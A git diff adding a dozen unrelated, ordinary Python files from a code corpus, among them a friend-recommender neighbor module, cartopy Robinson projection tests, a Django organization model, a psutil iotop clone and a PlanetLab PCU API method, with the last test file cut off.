0000000000000000000000000000000000000000..9bcf860dbf32bdb06a6a0a813238cb48ac3605f9 --- /dev/null +++ b/pool/shard009/Python/0083418_contributors.py @@ -0,0 +1,125 @@ +from random import shuffle +from models import FriendsModel + +class Contributors(object): + def __init__(self,similarity): + self.similarity = similarity + self.model = self.similarity.get_model() + return + #0:all + def get_neighbors(self, user_id, num=0): + raise NotImplementedError("cannot instantiate Abstract Base Class") + + def get_model(self): + return self.similarity.get_model() + + + +class Neighbors(Contributors): + def __init__self(self,similarity): + super(Neighbors,self).__init__(similarity) + return + + def get_neighbors(self,user_id,num=0): + nbs = self.similarity.get_similarities(user_id) + if num < 1: + return nbs + return nbs[:num] + +class JphNeighbors(Contributors): + def __init__self(self,similarity): + super(JphNeighbors,self).__init__(similarity) + return + + def get_neighbors(self,user_id,num=0): + nbs = self.similarity.get_similarities(user_id) + new_nbs = nbs[::2] + return new_nbs[:num] + +#DANGER CODE +class Neighbors_Friends(Contributors): + def __init__self(self,similarity,): + super(Neighbors_Friends,self).__init__(similarity) + #self.check_model_type(self.model) + return + + def check_model_type(self,model): + if not type(model) is FriendsModel: + raise TypeError("model should be an instance of FriendsModel") + return True + + + def get_neighbors(self,user_id,num=0): + t_ids = self.model.get_strangers_in_roster(user_id) + nbs = self.similarity.get_similarities(user_id,t_ids) + if num == 0: + return nbs + if num < 0: + num = len(self.model.get_friends(user_id,level=2)) + return nbs[:num] + + +class Friends(Contributors): + def __init__(self,similarity): + super(Friends,self).__init__(similarity) + #self.check_model_type(self.model) + return + + def check_model_type(self,model): + if not type(model) is FriendsModel: + raise TypeError("model should be an instance of FriendsModel") + return True + + + def get_neighbors(self,user_id,num=0): + f_ids = self.model.get_friends(user_id,level=2) + nbs = self.similarity.get_similarities(user_id,f_ids) + if num < 1: + return nbs + return nbs[:num] + +class Friends_Strangers(Contributors): + def __init__(self,similarity, f_n, t_n): + super(Friends_Strangers,self).__init__(similarity) + self.f_n = f_n + self.t_n = t_n + + # This function is implemented slightly different with the other child classes. + def get_neighbors(self,user_id,num=0): + # get friends + f_ids = self.model.get_friends(user_id,level=1) + shuffle(f_ids) + frs = f_ids[:self.f_n] + fnbs = self.similarity.get_similarities(user_id,frs) + + # get stranger + t_ids = self.model.get_strangers_in_roster(user_id) + shuffle(t_ids) + sts = t_ids[:self.t_n] + st_sim = [1.0]*len(sts) #specific sim for esorics prefictor + stnbs = zip(sts,st_sim) + + return (fnbs, stnbs) + + def get_rand_friends(self, user_id): + f_ids = self.model.get_friends(user_id,level=1) + + shuffle(f_ids) + frs = f_ids[:self.f_n] + fnbs = self.similarity.get_similarities(user_id,frs) + #print "fnbs: ", len(fnbs) + return fnbs + + def get_rand_strangers(self, user_id): + t_ids = self.model.get_strangers_in_roster(user_id) + shuffle(t_ids) + sts = t_ids[:self.t_n] + st_sim = [1.0]*len(sts) #specific sim for esorics prefictor + stnbs = zip(sts,st_sim) + return stnbs + + + + + + diff --git a/pool/shard009/Python/0083420_async_iterator.py b/pool/shard009/Python/0083420_async_iterator.py new file mode 100644 index 0000000000000000000000000000000000000000..b59689bdb8df1120a6ce9ea6fa4190e5b9e68332 --- /dev/null +++ b/pool/shard009/Python/0083420_async_iterator.py @@ -0,0 +1,43 @@ +from queue import Queue +from threading import Thread + +import asyncio + +class AsyncIterator: + + POLL_INTERVAL = .5 + + def __init__(self): + self.queue = Queue() + self.thread = None + self.done = False + self.stop_iteration_cls = StopAsyncIteration + + def start(self, call, *args, **kwargs): + + def run(): + for line in call(*args, **kwargs): + self.queue.put(line) + self.done = True + + self.thread = Thread(target=run) + self.thread.start() + + return self + + def throw(self, cls): + self.stop_iteration_cls = cls + + async def __aiter__(self): + return self + + async def __anext__(self): + while self.queue.empty(): + if self.done: + raise self.stop_iteration_cls + + await asyncio.sleep(AsyncIterator.POLL_INTERVAL) + + item = self.queue.get() + self.queue.task_done() + return item diff --git a/pool/shard009/Python/0083423_parser.py b/pool/shard009/Python/0083423_parser.py new file mode 100644 index 0000000000000000000000000000000000000000..abc40ee78b0afb2213fcb4b48e68c6364e809b3e --- /dev/null +++ b/pool/shard009/Python/0083423_parser.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +''' +The Parser parses output usually ini file output from +multiple hosts, or output from CLI operations. +''' + +import rex +from prettytable import PrettyTable +import textwrap +#import pprint + + +class Parser(object): + ''' + Parser class - To parse results from remote hosts. + ''' + def __init__(self): + + ''' + Initialize comparator. + ''' + + def parse_dataset(self, **kwargs): + ''' + parse the dataset which can be results from multiple + hosts and return a dictionary of parsed results. + ''' + dataset = kwargs.get('datalist', None) + + results = {} + for data in dataset: + result = {} + node_data = rex.parse_lrvalue_string(data['output'], + delimiter="=") + # If the data is not a LR value, then + # the result will be an empty {} dict. In that case + # save it as text only. + + if not node_data: + result['data'] = data['output'] + result['data_type'] = "str" + else: + result['data'] = node_data + result['data_type'] = "dict" + results[data['node']] = result + + return results + + def display_tabular(self, **kwargs): + ''' + Compare operation. Main function + ''' + datalist = kwargs.get('datalist', None) + if not datalist: + return + + newresults = self.parse_dataset(**kwargs) + + fields = set() + for node in newresults.keys(): + print "node: ", node + nodeobj = newresults[node] + if nodeobj['data_type'] == 'dict': + for key in nodeobj['data'].keys(): + fields.add(key) + + header = [] + header.append("Key") + for node in newresults.keys(): + header.append(node) + + x = PrettyTable(header) + x.align["key"] = "l" + for node in newresults.keys(): + x.align[node] = "l" + + if fields: + for val in fields: + row = [] + row.append(val) + for node in newresults.keys(): + nodeobj = newresults[node] + if val in nodeobj['data'].keys(): + data_str = textwrap.fill(nodeobj['data'][val].strip(), + width=20) + row.append(data_str) + else: + row.append("None") + x.add_row(row) + else: + row = [] + row.append("NA") + for node in newresults.keys(): + nodeobj = newresults[node] + data_str = textwrap.fill(nodeobj['data'].strip(), + width=20) + row.append(data_str) + x.add_row(row) + + print x + + +def main(): + print "main" + + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0083424_safe_float_10.3.7.py b/pool/shard009/Python/0083424_safe_float_10.3.7.py new file mode 100644 index 0000000000000000000000000000000000000000..6fd8b0050e1daab7b680d221abd88b68c171a813 --- /dev/null +++ b/pool/shard009/Python/0083424_safe_float_10.3.7.py @@ -0,0 +1,34 @@ +def safe_float(obj): + 'safe version of float()' + try: + retval = float(obj) + except (TypeError,ValueError),diag: + retval = str(diag) + return retval +def main(): + 'handles all the data processing' + log=open('cardlog.txt','w') + try: + ccfile=open('carddata.txt','r') + except IOError,e: + log.write('no txns this month\n') + log.close() + return + txns=ccfile.readlines() + ccfile.close() + total=0.00 + log.write('account log:\n') + + for eachTxn in txns: + result = safe_float(eachTxn) + if isinstance(result,float): + print result + total+=result + log.write('data...processed\n') + else: + log.write('ignored:%s' %result) + print '$%.2f (new balance)' %(total) + log.close() + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0083426_MultiOutput.py b/pool/shard009/Python/0083426_MultiOutput.py new file mode 100644 index 0000000000000000000000000000000000000000..591a6f268c6298ed5a99dacd4ea503b79469f7d7 --- /dev/null +++ b/pool/shard009/Python/0083426_MultiOutput.py @@ -0,0 +1,45 @@ +import weakref + +class YLayer(object): + def __init__(self, model, i): + self.model = model + self.i = i + self.dY = None + self.next_layers = [] + @property + def Y(self): + return self.model.Y[self.i] + @Y.setter + def Y(self, value): + self.model.Y[self.i] = value + @property + def shape(self): + return self.model.Y[self.i].shape + def forward(self): + self.model.forward() + def backward(self): + self.model.backward() + def reshape(self): + self.model.reshape() + def input_models(self): + yield self.model + def input_models_with_index(self): + yield (self.model, self.i) + +class MultiDY(object): + def __init__(self, model): + self.model = weakref.proxy(model) + def __getitem__(self, i): + return self.model.get_YLayers(i).dY + def __setitem__(self, i, value): + self.model.get_YLayers(i).dY = value + def __iter__(self): + for dy in self.model.get_YLayers(): + yield dy + def __len__(self): + return len(self.model.YLayers) + +def get_layer_parent(md): + if isinstance(md, YLayer): + return md.model + return md diff --git a/pool/shard009/Python/0083427_librator.py b/pool/shard009/Python/0083427_librator.py new file mode 100644 index 0000000000000000000000000000000000000000..02c4a2e0b6dcd64fca16baac5ebb4d5bfa34c0ad --- /dev/null +++ b/pool/shard009/Python/0083427_librator.py @@ -0,0 +1,66 @@ +"""Command line entry points.""" +from argparse import ArgumentParser +from os.path import splitext, exists, dirname +from os import makedirs +from .packing import pack, unpack + + +def main(clargs=None): + """The primary entry point, can pack or unpack a **Librarian** library.""" + parser = ArgumentParser( + description="Handles Librarian card database packaging.") + parser.add_argument("cards", type=str, + help="Directory of single .crd card files") + parser.add_argument("library", type=str, + help="Library database file") + parser.add_argument("-u", "--unpack", action="store_true", default=False, + help="Unpack existing library") + args = parser.parse_args(clargs) + + if not exists(dirname(args.cards)): + if args.unpack: + makedirs(dirname(args.card)) + else: + print("cards directory not found!") + return None + if args.unpack and not exists(args.library): + print("library database not found!") + return None + + if args.unpack: + unpack(args.library, args.cards) + else: + pack(args.library, args.cards) + + +CARDTEMPLATE = """ +name: card +code: 0 +attributes: +- alive +abilities: + open: + - attack +info: + art: + - "" +""" + + +def cardmain(clargs=None): + """Generate a blank card file.""" + parser = ArgumentParser( + description="Create a black card file template.") + parser.add_argument("cardfile", type=str, + help="Card filename") + args = parser.parse_args(clargs) + + filename, _ = splitext(args.cardfile) + filename += ".crd" + filedir = dirname(filename) + + if filedir and not exists(filedir): + makedirs(filedir) + + with open(filename, "w") as cardfile: + cardfile.write(CARDTEMPLATE.strip()) diff --git a/pool/shard009/Python/0083433_test_robinson.py b/pool/shard009/Python/0083433_test_robinson.py new file mode 100644 index 0000000000000000000000000000000000000000..a424b752d36fff6b78aff55232c328f9ae3f678b --- /dev/null +++ b/pool/shard009/Python/0083433_test_robinson.py @@ -0,0 +1,187 @@ +# (C) British Crown Copyright 2013 - 2018, Met Office +# +# This file is part of cartopy. +# +# cartopy is free software: you can redistribute it and/or modify it under +# the terms of the GNU Lesser General Public License as published by the +# Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# cartopy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with cartopy. If not, see . +""" +Tests for Robinson projection. + +""" + +from __future__ import (absolute_import, division, print_function) + +import numpy as np +from numpy.testing import assert_almost_equal, assert_array_almost_equal +import pytest + +import cartopy.crs as ccrs +from .helpers import check_proj_params + + +_CRS_PC = ccrs.PlateCarree() +_CRS_ROB = ccrs.Robinson() + +# Increase tolerance if using older proj releases +_TOL = -1 if ccrs.PROJ4_VERSION < (4, 9) else 7 +_LIMIT_TOL = -1 # if ccrs.PROJ4_VERSION < (5, 2, 0) else 7 + + +def test_default(): + robin = ccrs.Robinson() + other_args = {'a=6378137.0', 'lon_0=0'} + check_proj_params('robin', robin, other_args) + + assert_almost_equal(robin.x_limits, + [-17005833.3305252, 17005833.3305252]) + assert_almost_equal(robin.y_limits, + [-8625154.6651000, 8625154.6651000], _LIMIT_TOL) + + +def test_sphere_globe(): + globe = ccrs.Globe(semimajor_axis=1000, ellipse=None) + robin = ccrs.Robinson(globe=globe) + other_args = {'a=1000', 'lon_0=0'} + check_proj_params('robin', robin, other_args) + + assert_almost_equal(robin.x_limits, [-2666.2696851, 2666.2696851]) + assert_almost_equal(robin.y_limits, [-1352.3000000, 1352.3000000], + _LIMIT_TOL) + + +def test_ellipse_globe(): + globe = ccrs.Globe(ellipse='WGS84') + with pytest.warns(UserWarning, + match='does not handle elliptical globes.') as w: + robin = ccrs.Robinson(globe=globe) + assert len(w) == 1 + + other_args = {'ellps=WGS84', 'lon_0=0'} + check_proj_params('robin', robin, other_args) + + # Limits are the same as default since ellipses are not supported. + assert_almost_equal(robin.x_limits, [-17005833.3305252, 17005833.3305252]) + assert_almost_equal(robin.y_limits, [-8625154.6651000, 8625154.6651000], + _LIMIT_TOL) + + +def test_eccentric_globe(): + globe = ccrs.Globe(semimajor_axis=1000, semiminor_axis=500, + ellipse=None) + with pytest.warns(UserWarning, + match='does not handle elliptical globes.') as w: + robin = ccrs.Robinson(globe=globe) + assert len(w) == 1 + + other_args = {'a=1000', 'b=500', 'lon_0=0'} + check_proj_params('robin', robin, other_args) + + # Limits are the same as spheres since ellipses are not supported. + assert_almost_equal(robin.x_limits, [-2666.2696851, 2666.2696851]) + assert_almost_equal(robin.y_limits, [-1352.3000000, 1352.3000000], + _LIMIT_TOL) + + +def test_offset(): + crs = ccrs.Robinson() + crs_offset = ccrs.Robinson(false_easting=1234, false_northing=-4321) + other_args = {'a=6378137.0', 'lon_0=0', 'x_0=1234', 'y_0=-4321'} + check_proj_params('robin', crs_offset, other_args) + assert tuple(np.array(crs.x_limits) + 1234) == crs_offset.x_limits + assert tuple(np.array(crs.y_limits) - 4321) == crs_offset.y_limits + + +@pytest.mark.parametrize('lon', [-10.0, 10.0]) +def test_central_longitude(lon): + robin = ccrs.Robinson(central_longitude=lon) + other_args = {'a=6378137.0', 'lon_0={}'.format(lon)} + check_proj_params('robin', robin, other_args) + + assert_almost_equal(robin.x_limits, + [-17005833.3305252, 17005833.3305252], + decimal=5) + assert_almost_equal(robin.y_limits, + [-8625154.6651000, 8625154.6651000], _LIMIT_TOL) + + +def test_transform_point(): + """ + Mostly tests the workaround for a specific problem. + Problem report in: https://github.com/SciTools/cartopy/issues/23 + Fix covered in: https://github.com/SciTools/cartopy/pull/277 + """ + + # this way has always worked + result = _CRS_ROB.transform_point(35.0, 70.0, _CRS_PC) + assert_array_almost_equal(result, (2376187.27182751, 7275317.81573085), + _TOL) + + # this always did something, but result has altered + result = _CRS_ROB.transform_point(np.nan, 70.0, _CRS_PC) + assert np.all(np.isnan(result)) + + # this used to crash + is now fixed + result = _CRS_ROB.transform_point(35.0, np.nan, _CRS_PC) + assert np.all(np.isnan(result)) + + +def test_transform_points(): + """ + Mostly tests the workaround for a specific problem. + Problem report in: https://github.com/SciTools/cartopy/issues/23 + Fix covered in: https://github.com/SciTools/cartopy/pull/277 + """ + + # these always worked + result = _CRS_ROB.transform_points(_CRS_PC, + np.array([35.0]), + np.array([70.0])) + assert_array_almost_equal(result, + [[2376187.27182751, 7275317.81573085, 0]], _TOL) + + result = _CRS_ROB.transform_points(_CRS_PC, + np.array([35.0]), + np.array([70.0]), + np.array([0.0])) + assert_array_almost_equal(result, + [[2376187.27182751, 7275317.81573085, 0]], _TOL) + + # this always did something, but result has altered + result = _CRS_ROB.transform_points(_CRS_PC, + np.array([np.nan]), + np.array([70.0])) + assert np.all(np.isnan(result)) + + # this used to crash + is now fixed + result = _CRS_ROB.transform_points(_CRS_PC, + np.array([35.0]), + np.array([np.nan])) + assert np.all(np.isnan(result)) + + # multipoint case + x = np.array([10.0, 21.0, 0.0, 77.7, np.nan, 0.0]) + y = np.array([10.0, np.nan, 10.0, 77.7, 55.5, 0.0]) + z = np.array([10.0, 0.0, 0.0, np.nan, 55.5, 0.0]) + expect_result = np.array( + [[9.40422591e+05, 1.06952091e+06, 1.00000000e+01], + [11.1, 11.2, 11.3], + [0.0, 1069520.91213902, 0.0], + [22.1, 22.2, 22.3], + [33.1, 33.2, 33.3], + [0.0, 0.0, 0.0]]) + result = _CRS_ROB.transform_points(_CRS_PC, x, y, z) + assert result.shape == (6, 3) + assert np.all(np.isnan(result[[1, 3, 4], :])) + result[[1, 3, 4], :] = expect_result[[1, 3, 4], :] + assert not np.any(np.isnan(result)) + assert np.allclose(result, expect_result) diff --git a/pool/shard009/Python/0083434_models.py b/pool/shard009/Python/0083434_models.py new file mode 100644 index 0000000000000000000000000000000000000000..80bde0972873c5a83bb8a38c2a2f3e8114811d3c --- /dev/null +++ b/pool/shard009/Python/0083434_models.py @@ -0,0 +1,119 @@ +"""An organization is an customer, an install. It can be a company, +a non-profit, a social group (such as a running club), a municipality, etc. + Each org can have multiple Campaigns, and can brand the site. +""" + +# Copyright 2010,2011 Good Energy Research Inc. , +# +# This file is part of Good Energy. +# +# Good Energy is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Good Energy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with Good Energy. If not, see . +# + + +# Disable the pylint check for dynamically added attributes. This happens a lot +# with Django DB model usage. +# pylint: disable-msg=E1101 +# pylint: disable-msg=E1103 + +from django.db import models +from django.core.cache import cache + + +def org_files_dir(instance, filename): + """The path to store files for an instance of Organization, + relative to MEDIA_ROOT""" + return 'organization/' + instance.slug + '/' + filename + + +class OrganizationManager(models.Manager): # pylint: disable-msg=R0904 + """Methods above the level of a single org""" + + def get_cached(self, domain): + """The Organization who's domain is 'domain'""" + cache_key = 'ge_org_map' + org_map = cache.get(cache_key) + + if not org_map: + org_map = {} + for org in Organization.objects.all(): + org_map[org.domain] = org + cache.set(cache_key, org_map) + + try: + org = org_map[domain] + except KeyError: + # Maybe a new org - try loading + org = self.get(domain=domain) + org_map[domain] = org + cache.set(cache_key, org_map) + + return org + + +class Organization(models.Model): + """Top level object - has Campaigns, branding, etc""" + + objects = OrganizationManager() + + name = models.CharField(max_length=100) + slug = models.SlugField(max_length=100) + + logo = models.ImageField(upload_to=org_files_dir, blank=True, null=True) + css = models.FileField(upload_to=org_files_dir, blank=True, null=True) + + header_html = models.FileField( + upload_to=org_files_dir, blank=True, null=True) + footer_html = models.FileField( + upload_to=org_files_dir, blank=True, null=True) + favicon = models.FileField( + upload_to=org_files_dir, blank=True, null=True) + + domain = models.CharField(max_length=100) + home_url = models.CharField(max_length=100, null=True, blank=True) + + def __unicode__(self): + return self.name + + def has_custom_header(self): + """Does this organization provide HTML for it's own header?""" + return self.header_html + + def has_custom_footer(self): + """Does this organization provide HTML for it's own footer?""" + return self.footer_html + + def header(self): + """The HTML for this organization's header""" + + header_file = open(self.header_html.path, 'rt') + html = header_file.read() + header_file.close() + return html + + def footer(self): + """The HTML for this organization's footer""" + + footer_file = open(self.footer_html.path, 'rt') + html = footer_file.read() + footer_file.close() + return html + + def home(self): + """The URL of companies home page""" + if self.home_url: + return self.home_url + else: + return '/' + diff --git a/pool/shard009/Python/0083435_convert_funnel_original_tf_checkpoint_to_pytorch.py b/pool/shard009/Python/0083435_convert_funnel_original_tf_checkpoint_to_pytorch.py new file mode 100644 index 0000000000000000000000000000000000000000..b13d6dcd1007a78b482148bd9f487e4d2a8ee7ea --- /dev/null +++ b/pool/shard009/Python/0083435_convert_funnel_original_tf_checkpoint_to_pytorch.py @@ -0,0 +1,66 @@ +# coding=utf-8 +# Copyright 2020 The HuggingFace Inc. team. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Convert Funnel checkpoint.""" + + +import argparse + +import torch + +from transformers import FunnelBaseModel, FunnelConfig, FunnelModel, load_tf_weights_in_funnel +from transformers.utils import logging + + +logging.set_verbosity_info() + + +def convert_tf_checkpoint_to_pytorch(tf_checkpoint_path, config_file, pytorch_dump_path, base_model): + # Initialise PyTorch model + config = FunnelConfig.from_json_file(config_file) + print(f"Building PyTorch model from configuration: {config}") + model = FunnelBaseModel(config) if base_model else FunnelModel(config) + + # Load weights from tf checkpoint + load_tf_weights_in_funnel(model, config, tf_checkpoint_path) + + # Save pytorch-model + print(f"Save PyTorch model to {pytorch_dump_path}") + torch.save(model.state_dict(), pytorch_dump_path) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + # Required parameters + parser.add_argument( + "--tf_checkpoint_path", default=None, type=str, required=True, help="Path to the TensorFlow checkpoint path." + ) + parser.add_argument( + "--config_file", + default=None, + type=str, + required=True, + help="The config json file corresponding to the pre-trained model. \n" + "This specifies the model architecture.", + ) + parser.add_argument( + "--pytorch_dump_path", default=None, type=str, required=True, help="Path to the output PyTorch model." + ) + parser.add_argument( + "--base_model", action="store_true", help="Whether you want just the base model (no decoder) or not." + ) + args = parser.parse_args() + convert_tf_checkpoint_to_pytorch( + args.tf_checkpoint_path, args.config_file, args.pytorch_dump_path, args.base_model + ) diff --git a/pool/shard009/Python/0083436_intersphinx.py b/pool/shard009/Python/0083436_intersphinx.py new file mode 100644 index 0000000000000000000000000000000000000000..c889e4c1603dc1dae83f38cea546edfa2dc6c770 --- /dev/null +++ b/pool/shard009/Python/0083436_intersphinx.py @@ -0,0 +1,76 @@ +""" +Parsers for intersphinx inventory files + +Taken from `sphinx.ext.intersphinx` + +""" + +import re +import codecs +import zlib + +b = str +UTF8StreamReader = codecs.lookup('utf-8')[2] + + +def read_inventory_v1(f, uri, join): + f = UTF8StreamReader(f) + invdata = {} + line = f.next() + projname = line.rstrip()[11:] + line = f.next() + version = line.rstrip()[11:] + for line in f: + name, type, location = line.rstrip().split(None, 2) + location = join(uri, location) + # version 1 did not add anchors to the location + if type == 'mod': + type = 'py:module' + location += '#module-' + name + else: + type = 'py:' + type + location += '#' + name + invdata.setdefault(type, {})[name] = (projname, version, location, '-') + return invdata + + +def read_inventory_v2(f, uri, join, bufsize=16*1024): + invdata = {} + line = f.readline() + projname = line.rstrip()[11:].decode('utf-8') + line = f.readline() + version = line.rstrip()[11:].decode('utf-8') + line = f.readline().decode('utf-8') + if 'zlib' not in line: + raise ValueError + + def read_chunks(): + decompressor = zlib.decompressobj() + for chunk in iter(lambda: f.read(bufsize), b''): + yield decompressor.decompress(chunk) + yield decompressor.flush() + + def split_lines(chunkiter): + buf = b'' + for chunk in chunkiter: + buf += chunk + lineend = buf.find(b'\n') + while lineend != -1: + yield buf[:lineend].decode('utf-8') + buf = buf[lineend + 1:] + lineend = buf.find(b'\n') + assert not buf + + for line in split_lines(read_chunks()): + # be careful to handle names with embedded spaces correctly + m = re.match(r'(?x)(.+?)\s+(\S*:\S*)\s+(\S+)\s+(\S+)\s+(.*)', + line.rstrip()) + if not m: + continue + name, type, prio, location, dispname = m.groups() + if location.endswith('$'): + location = location[:-1] + name + location = join(uri, location) + invdata.setdefault(type, {})[name] = (projname, version, + location, dispname) + return invdata diff --git a/pool/shard009/Python/0083438_iotop.py b/pool/shard009/Python/0083438_iotop.py new file mode 100644 index 0000000000000000000000000000000000000000..06f8d2accdcca115c98a2ed852e06645e7445e30 --- /dev/null +++ b/pool/shard009/Python/0083438_iotop.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +""" +A clone of iotop (http://guichaz.free.fr/iotop/) showing real time +disk I/O statistics. + +It works on Linux only (FreeBSD and OSX are missing support for IO +counters). +It doesn't work on Windows as curses module is required. + +Author: Giampaolo Rodola' +""" + +import os +import sys +import psutil +if not hasattr(psutil.Process, 'io_counters') or os.name != 'posix': + sys.exit('platform not supported') +import time +import curses +import atexit + + +# --- curses stuff +def tear_down(): + win.keypad(0) + curses.nocbreak() + curses.echo() + curses.endwin() + +win = curses.initscr() +atexit.register(tear_down) +curses.endwin() +lineno = 0 + + +def print_line(line, highlight=False): + """A thin wrapper around curses's addstr().""" + global lineno + try: + if highlight: + line += " " * (win.getmaxyx()[1] - len(line)) + win.addstr(lineno, 0, line, curses.A_REVERSE) + else: + win.addstr(lineno, 0, line, 0) + except curses.error: + lineno = 0 + win.refresh() + raise + else: + lineno += 1 +# --- /curses stuff + + +def bytes2human(n): + """ + >>> bytes2human(10000) + '9.8 K/s' + >>> bytes2human(100001221) + '95.4 M/s' + """ + symbols = ('K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y') + prefix = {} + for i, s in enumerate(symbols): + prefix[s] = 1 << (i + 1) * 10 + for s in reversed(symbols): + if n >= prefix[s]: + value = float(n) / prefix[s] + return '%.2f %s/s' % (value, s) + return '%.2f B/s' % (n) + + +def poll(interval): + """Calculate IO usage by comparing IO statics before and + after the interval. + Return a tuple including all currently running processes + sorted by IO activity and total disks I/O activity. + """ + # first get a list of all processes and disk io counters + procs = [p for p in psutil.process_iter()] + for p in procs[:]: + try: + p._before = p.io_counters() + except psutil.Error: + procs.remove(p) + continue + disks_before = psutil.disk_io_counters() + + # sleep some time + time.sleep(interval) + + # then retrieve the same info again + for p in procs[:]: + try: + p._after = p.io_counters() + p._cmdline = ' '.join(p.cmdline()) + if not p._cmdline: + p._cmdline = p.name() + p._username = p.username() + except psutil.NoSuchProcess: + procs.remove(p) + disks_after = psutil.disk_io_counters() + + # finally calculate results by comparing data before and + # after the interval + for p in procs: + p._read_per_sec = p._after.read_bytes - p._before.read_bytes + p._write_per_sec = p._after.write_bytes - p._before.write_bytes + p._total = p._read_per_sec + p._write_per_sec + + disks_read_per_sec = disks_after.read_bytes - disks_before.read_bytes + disks_write_per_sec = disks_after.write_bytes - disks_before.write_bytes + + # sort processes by total disk IO so that the more intensive + # ones get listed first + processes = sorted(procs, key=lambda p: p._total, reverse=True) + + return (processes, disks_read_per_sec, disks_write_per_sec) + + +def refresh_window(procs, disks_read, disks_write): + """Print results on screen by using curses.""" + curses.endwin() + templ = "%-5s %-7s %11s %11s %s" + win.erase() + + disks_tot = "Total DISK READ: %s | Total DISK WRITE: %s" \ + % (bytes2human(disks_read), bytes2human(disks_write)) + print_line(disks_tot) + + header = templ % ("PID", "USER", "DISK READ", "DISK WRITE", "COMMAND") + print_line(header, highlight=True) + + for p in procs: + line = templ % ( + p.pid, + p._username[:7], + bytes2human(p._read_per_sec), + bytes2human(p._write_per_sec), + p._cmdline) + try: + print_line(line) + except curses.error: + break + win.refresh() + + +def main(): + try: + interval = 0 + while 1: + args = poll(interval) + refresh_window(*args) + interval = 1 + except (KeyboardInterrupt, SystemExit): + pass + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0083440_root_to_leaf.py b/pool/shard009/Python/0083440_root_to_leaf.py new file mode 100644 index 0000000000000000000000000000000000000000..8dc6bc15ef928f1a9c8fd6556ea0be1597d362bf --- /dev/null +++ b/pool/shard009/Python/0083440_root_to_leaf.py @@ -0,0 +1,21 @@ +class Node(object): + def __init__(self,val, left = None, right = None): + self.val = val + self.left = left + self.right = right + +def root_to_leaf(root,path): + if root.left is None and root.right is None: + path.append(root.val) + print(" ".join(map(str,path))) + return + + path.append(root.val) + root_to_leaf(root.left, path) + path.pop() + root_to_leaf(root.right, path) + path.pop() + +tree = Node(1,Node(2,Node(4),Node(5)),Node(3,Node(6),Node(7))) + +root_to_leaf(tree,[]) diff --git a/pool/shard009/Python/0083441_AddNodeToPCU.py b/pool/shard009/Python/0083441_AddNodeToPCU.py new file mode 100644 index 0000000000000000000000000000000000000000..29044569030877b0dd5d269ea955c6bb5d7d0b69 --- /dev/null +++ b/pool/shard009/Python/0083441_AddNodeToPCU.py @@ -0,0 +1,74 @@ +from PLC.Faults import * +from PLC.Method import Method +from PLC.Parameter import Parameter, Mixed +from PLC.Nodes import Node, Nodes +from PLC.PCUs import PCU, PCUs +from PLC.Sites import Site, Sites +from PLC.Auth import Auth + +class AddNodeToPCU(Method): + """ + Adds a node to a port on a PCU. Faults if the node has already + been added to the PCU or if the port is already in use. + + Non-admins may only update PCUs at their sites. + + Returns 1 if successful, faults otherwise. + """ + + roles = ['admin', 'pi', 'tech'] + + accepts = [ + Auth(), + Mixed(Node.fields['node_id'], + Node.fields['hostname']), + PCU.fields['pcu_id'], + Parameter(int, 'PCU port number') + ] + + returns = Parameter(int, '1 if successful') + + def call(self, auth, node_id_or_hostname, pcu_id, port): + # Get node + nodes = Nodes(self.api, [node_id_or_hostname]) + if not nodes: + raise PLCInvalidArgument("No such node") + node = nodes[0] + + if node['peer_id'] is not None: + raise PLCInvalidArgument("Not a local node") + + # Get PCU + pcus = PCUs(self.api, [pcu_id]) + if not pcus: + raise PLCInvalidArgument("No such PCU") + pcu = pcus[0] + + if 'admin' not in self.caller['roles']: + ok = False + sites = Sites(self.api, self.caller['site_ids']) + for site in sites: + if pcu['pcu_id'] in site['pcu_ids']: + ok = True + break + if not ok: + raise PLCPermissionDenied("Not allowed to update that PCU") + + # Add node to PCU + if node['node_id'] in pcu['node_ids']: + raise PLCInvalidArgument("Node already controlled by PCU") + + if node['site_id'] != pcu['site_id']: + raise PLCInvalidArgument("Node is at a different site than this PCU") + + if port in pcu['ports']: + raise PLCInvalidArgument("PCU port already in use") + + pcu.add_node(node, port) + + # Logging variables + self.event_objects = {'Node': [node['node_id']], + 'PCU': [pcu['pcu_id']]} + self.message = 'Node %d added to pcu %d on port %d' % \ + (node['node_id'], pcu['pcu_id'], port) + return 1 diff --git a/pool/shard009/Python/0083442_unittests_test.py b/pool/shard009/Python/0083442_unittests_test.py new file mode 100644 index 0000000000000000000000000000000000000000..f65db75ecba9067e55e78cca3900cd9a47a438bf --- /dev/null +++ b/pool/shard009/Python/0083442_unittests_test.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python + +# Copyright (C) 2017-2019 SignalFx, Inc. All rights reserved. +# Copyright (C) 2020 Splunk, Inc. All rights reserved. + +from httmock import all_requests, HTTMock +import json +import unittest +from six.moves.urllib import parse +import signalfx.signalflow.ws +import struct + +responses_map = { + 'GET_DETECTOR': { + 'path': '/v2/detector/abc123', + 'content': open('tests/fixtures/get_detector_abc123.json').read(), + 